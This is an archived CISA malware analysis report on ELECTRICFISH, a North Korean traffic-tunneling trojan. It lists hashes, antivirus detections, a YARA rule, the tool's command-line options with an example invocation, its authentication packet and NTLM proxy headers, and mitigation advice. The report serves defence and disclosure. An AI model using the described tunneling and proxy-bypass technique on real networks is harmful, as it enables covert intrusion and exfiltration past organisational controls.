

MAR-10135536-21 – North Korean Proxy Malware: ELECTRICFISH | CISA

Published: 2019-09-09 · Archived: 2026-04-05 21:15:22 UTC

Notification

This report is provided "as is" for informational purposes only. The Department of Homeland Security (DHS) does not provide any warranties of any kind regarding any information contained herein. The DHS does not endorse any commercial product or service referenced in this bulletin or otherwise.

This document is marked TLP:WHITE--Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction. For more information on the Traffic Light Protocol (TLP), see <http://www.us-cert.gov/tlp>.

Summary

Description

This Malware Analysis Report (MAR) is the result of analytic efforts between the Department of Homeland Security (DHS), the Federal Bureau of Investigation (FBI), and the Department of Defense (DoD). Working with U.S. Government partners, DHS, FBI, and DoD identified proxy malware variants used by the North Korean government - referred to by the U.S. Government as ELECTRICFISH. The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA. For more information on HIDDEN COBRA activity, visit <https://www.us-cert.gov/hiddencobra>.

DHS, FBI, and DoD are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity.

This MAR includes malware descriptions related to HIDDEN COBRA, suggested response actions and recommended mitigation techniques. Users or administrators should flag activity associated with the malware, report the activity to the DHS National Cybersecurity and Communications Integration Center (NCCIC) or the FBI Cyber Watch (CyWatch), and give the activity the highest priority for enhanced mitigation.

This report provides analysis of two malicious 32-bit Windows executable file. The malware implements a custom protocol that allows traffic to be tunneled between a source and a destination Internet Protocol (IP) address. The malware continuously attempts to reach out to the source and the designation system, which allows either side to initiate a tunneling session. The malware can be configured with a proxy server/port and proxy username and password. This feature allows connectivity to a system sitting inside of a proxy server, which allows the actor to bypass the compromised system's required authentication to reach outside of the network.

For a downloadable copy of IOCs, see:

- [MAR-10135536-21.stix](#)

Submitted Files (2)

7cf5d86cc75cd8f0e22e35213a9c051b740bd4667d9879a446f06277782bffd1 (0BA6BB2AD05D86207B5303657E3F68...)

a1260fd3e9221d1bc5b9ece6e7a5a98669c79e124453f2ac58625085759ed3bb (8d9123cd2648020292b5c35edc9ae2...)

Findings

a1260fd3e9221d1bc5b9ece6e7a5a98669c79e124453f2ac58625085759ed3bb

Tags

droppertrojan

Details

Name	8d9123cd2648020292b5c35edc9ae22e
Size	1422336 bytes

Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	8d9123cd2648020292b5c35edc9ae22e
SHA1	0939363ff55d914e92635e5f693099fb28047602
SHA256	a1260fd3e9221d1bc5b9ece6e7a5a98669c79e124453f2ac58625085759ed3bb
SHA512	646697e3d5146e05a221183f6c9f00f5eb38400ef9a2f83bfd0fcf2f8af1a7efff99c0a3486740c745ce6cf0939c4f0678cb818cbbff8ed2b28a7
ssdeep	24576:HsO8RKL6OLnWZGFbHq0aMow5Q3gkD/74tU3hYPgP5IyrMsEOhVRpxHkADUHEPbzJ:0KjKHMbO3pkoBIyIstVRpxHL1t
Entropy	6.703195

Antivirus

Ahnlab	HackTool/Win32.Agent
Antiy	Trojan[Banker]/Win32.Alreay
Avira	TR/AD.Stantinko.gkqij
BitDefender	Gen:Variant.Ursu.349885Unclassified
ClamAV	Win.Dropper.Electricfish-6976665-0
Cyren	W32/Trojan.TWUO-7654
ESET	a variant of Win32/NukeSped.FQ trojan
Emsisoft	Gen:Variant.Ursu.349885 (B)
Ikarus	Trojan.Win32.HackTool
K7	Hacktool (0054e46d1)
Kaspersky	Trojan.Win32.Agent.xaadtn
McAfee	ElectricFish
Microsoft Security Essentials	HackTool:Win32/ElecFish.A!dha
NANOAV	Trojan.Win32.Alreay.fvrmai
Quick Heal	Trojan.Ursu
Sophos	Troj/ElecFish-A
Symantec	Unavailable (production)
TACHYON	Trojan/W32.Electricfish.1422336
VirusBlokAda	Trojan.Agent
Zillya!	Tool.ElectricFish.Win32.2

Yara Rules

hidden_cobra_consolidated.yara	rule electricfish { meta: Author = "CISA trusted 3rd party" Incident = "10135536" Date = "2019-08-14" Category = "Hidden_Cobra" Family = "ELECTRICFISH" Description = "Detects logging functionality" MD5_1 = "0ba6bb2ad05d86207b5303657e3f6874" SHA256_1 = "7cf5d86cc75cd8f0e22e35213a9c051b740bd4667d9879a446f06277782bffd1" strings: \$ = "LLgcIP" \$ = "CCGC_LOG" \$ = "LLGC_LOG" condition: uint16(0) == 0x5a4d and uint16(uint32(0x3c)) == 0x4550 and all of them }
---------------------------------------	---

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2018-09-29 11:55:36-04:00
Import Hash	3549cfa19e60aa9239f79d80e19279fa

PE Sections

MD5	Name	Raw Size	Entropy
08bb17d8e839e7fc92426e813a696e73	header	1024	2.590786
6c3daca3c522ab98a8ac12a45087297c	.text	983040	6.595856
3d3d7962d16652002018640a3fa27d44	.rdata	340480	6.187858
b7f382ea7e6c9c8e737cb92551341e64	.data	37888	4.714377
871fb8486e5ea3307ff7b65ddf46518a	.rsrc	512	5.112624
382715f8e776a544bf70f843a52e3ff2	.reloc	59392	6.015022

Packers/Compilers/Cryptors

Microsoft Visual C++ ??

Description

This file is a malicious Windows 32-bit executable. The application is a command-line utility and its primary purpose is to tunnel traffic between two IP addresses. The application accepts the following command-line arguments, which can be utilized to authenticate with a proxy server:

```
--Begin command-line arguments--
-l,--log [Show Debug Message]
-pw,--password [Password]
-u,--username [UserName]
-do,--domain [DomainName]
-p,--proxy [ProxyIP:Port]
-d,--destination [TargetIP:Port]
-s,--server [LLgcIP:Port]
-h,--help [Show this help message]
--End command-line arguments--
```

Displayed below is an example:

```
--Begin Example Usage--
Source IP/Port: 192.0.2.1:92
Dest IP/Port: 198.51.100.1:92
Proxy IP/Port: 203.0.113.1:92
Proxy User Name: test
Proxy Password: testpw

a12.exe -s 192.0.2.1:92 -d 198.51.100.1:92 -p 203.0.113.1:92 -u test -pw testpw
--End Example Usage--
```

It will attempt to establish TCP sessions with the source IP address and the destination IP address. If a connection is made to both the source and destination IPs, this malicious utility will implement a custom protocol, which will allow traffic to rapidly and efficiently be tunneled between two machines. If necessary, the malware can authenticate with a proxy to be able to reach the destination IP address. A configured proxy server is not required for this utility.

After the malware authenticates with the configured proxy, it will immediately attempt to establish a session with the destination IP address, located outside of the target network and the source IP address. The header of the initial authentication packet, sent to both the source and destination systems, will be static except for two random bytes. Everything within this 34-byte header is static except for the bytes 0X2B6E, which will change during each connection attempt. Displayed below (and displayed in Figure 7) is the packet header.

```
--Begin Authentication Packet Sent to Destination System--
61616161626262626363636364646464640000000000000002B6E0000040000009210
--End Authentication Packet Sent to Destination System--
```

Screenshots

Figure 1 -

Figure 2 -

Figure 3 -

Figure 4 -

Figure 5 -

Figure 6 -

Figure 7 -

7cf5d86cc75cd8f0e22e35213a9c051b740bd4667d9879a446f06277782bffd1

Tags

trojan

Details

Name	0BA6BB2AD05D86207B5303657E3F6874
Size	1436160 bytes
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	0ba6bb2ad05d86207b5303657e3f6874
SHA1	ad44567c8709df4889d381a0a64cc4b49e5004c3
SHA256	7cf5d86cc75cd8f0e22e35213a9c051b740bd4667d9879a446f06277782bffd1
SHA512	cce39d397a661a5b1c7504f4001e1683231b4d8fb77499102c06532b3ec38f775e544493166e75076460f444b27a15a1ab68237ceb26454b
ssdeep	24576:NUPhrm8YtZM9hjGMjxyK9Ws/6oYJt1wY2ZJIZ7IOAZSRpxtwQDCbzEG:qKjGMjQcGsw7IFSRpxtnDCbF
Entropy	6.704631

Antivirus

AegisLab	Trojan.Win32.Alreay.tqBn
Ahnlab	HackTool/Win32.Agent
Antiy	Trojan[Banker]/Win32.Alreay
Avira	TR/AD.Stantinko.ysgqb
BitDefender	Trojan.GenericKD.32262757Unclassified
Cyren	W32/Alreay.DVWS-3035
ESET	a variant of Win32/NukeSped.FQ trojan
Emsisoft	Trojan.GenericKD.32262757 (B)
Ikarus	Trojan.Win32.HackTool
K7	Trojan (00555fff1)
Kaspersky	Trojan-Banker.Win32.Alreay.gen
NANOAV	Trojan.Win32.Alreay.fvvzst
Quick Heal	Trojan.Alreay
Sophos	Troj/ElecFish-A
Symantec	Unavailable (production)

VirusBlokAda	TrojanBanker.Alreay
---------------------	---------------------

Yara Rules

hidden_cobra_consolidated.yara	<pre>rule electricfish { meta: Author = "CISA trusted 3rd party" Incident = "10135536" Date = "2019-08-14" Category = "Hidden_Cobra" Family = "ELECTRICFISH" Description = "Detects logging functionality" MD5_1 = "0ba6bb2ad05d86207b5303657e3f6874" SHA256_1 = "7cf5d86cc75cd8f0e22e35213a9c051b740bd4667d9879a446f06277782bffd1" strings: \$ = "LLgcIP" \$ = "CCGC_LOG" \$ = "LLGC_LOG" condition: uint16(0) == 0x5a4d and uint16(uint32(0x3c)) == 0x4550 and all of them }</pre>
---------------------------------------	--

ssdeep Matches

No matches found.

PE Metadata

Compile Date	2018-11-14 20:15:34-05:00
Import Hash	6627b5310efbf9651800ff9ae616be5f

PE Sections

MD5	Name	Raw Size	Entropy
a781fcd65f93beca71b7b94c3a82ba84	header	1024	2.613318
b081ec452c4927cbc91e8d5d36e75eeb	.text	996352	6.592977
131c905ab5153076e77c057bedabcb0d	.rdata	340992	6.196190
7261cf1375f63e279189afc08b5486f4	.data	37888	4.740711
bef352ccee242ff585187966059808aa	.rsrc	512	5.112624
39f472191c636cf6112a68713b5e6114	.reloc	59392	6.065172

Packers/Compilers/Cryptors

Microsoft Visual C++ ??

Description

This file is a malicious Windows 32-bit executable. The application is a command-line utility and its primary purpose is to tunnel traffic between two IP addresses. This file is a variant of 8d9123cd2648020292b5c35edc9ae22e.

Displayed below is the session header of the initial authentication packet, sent to both the source and destination systems:

```
--Begin TCP session header--
CONNECT Server IP:PORT HTTP/1.0
User-Agent:Mozilla/4.0 (compatible; MSIE 5.5; Win32)
proxy-Connection: Keep-Alive
Pragma: no-cache
Proxy-Authorization: NTLM
TIRMTVNTUAAABAAAAB4IIAAwADAAoAAAADwAPADQAAAAAAAAAAAAAAAAAFdXVy5HT1RPLkNPTVdJTI0OUFUTIVSNjZNVAA==
--End TCP session header--
```

Recommendations

CISA recommends that users and administrators consider using the following best practices to strengthen the security posture of their organization's systems. Any configuration changes should be reviewed by system owners and administrators prior to implementation to avoid unwanted impacts.

- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up-to-date.

- Disable File and Printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users' ability (permissions) to install and run unwanted software applications. Do not add users to the local administrators group unless required.
- Enforce a strong password policy and implement regular password changes.
- Exercise caution when opening e-mail attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations, configured to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious e-mail attachments; ensure the scanned attachment is its "true file type" (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs, etc.).
- Scan all software downloaded from the Internet prior to executing.
- Maintain situational awareness of the latest threats and implement appropriate Access Control Lists (ACLs).

Additional information on malware incident prevention and handling can be found in National Institute of Standards and Technology (NIST) Special Publication 800-83, "**Guide to Malware Incident Prevention & Handling for Desktops and Laptops**".

Contact Information

Document FAQ

What is a MIFR? A Malware Initial Findings Report (MIFR) is intended to provide organizations with malware analysis in a timely manner. In most instances this report will provide initial indicators for computer and network defense. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

What is a MAR? A Malware Analysis Report (MAR) is intended to provide organizations with more detailed malware analysis acquired via manual reverse engineering. To request additional analysis, please contact CISA and provide information regarding the level of desired analysis.

Can I edit this document? This document is not to be edited in any way by recipients. All comments or questions related to this document should be directed to the CISA at 1-888-282-0870 or contact@mail.cisa.dhs.gov✉.

Can I submit malware to CISA? Malware samples can be submitted via three methods:

- Web: <https://malware.us-cert.gov>
- E-Mail: submit@malware.us-cert.gov✉
- FTP: <ftp://malware.us-cert.gov> (anonymous)

CISA encourages you to report any suspicious activity, including cybersecurity incidents, possible malicious code, software vulnerabilities, and phishing-related scams. Reporting forms can be found on CISA's homepage at www.us-cert.gov.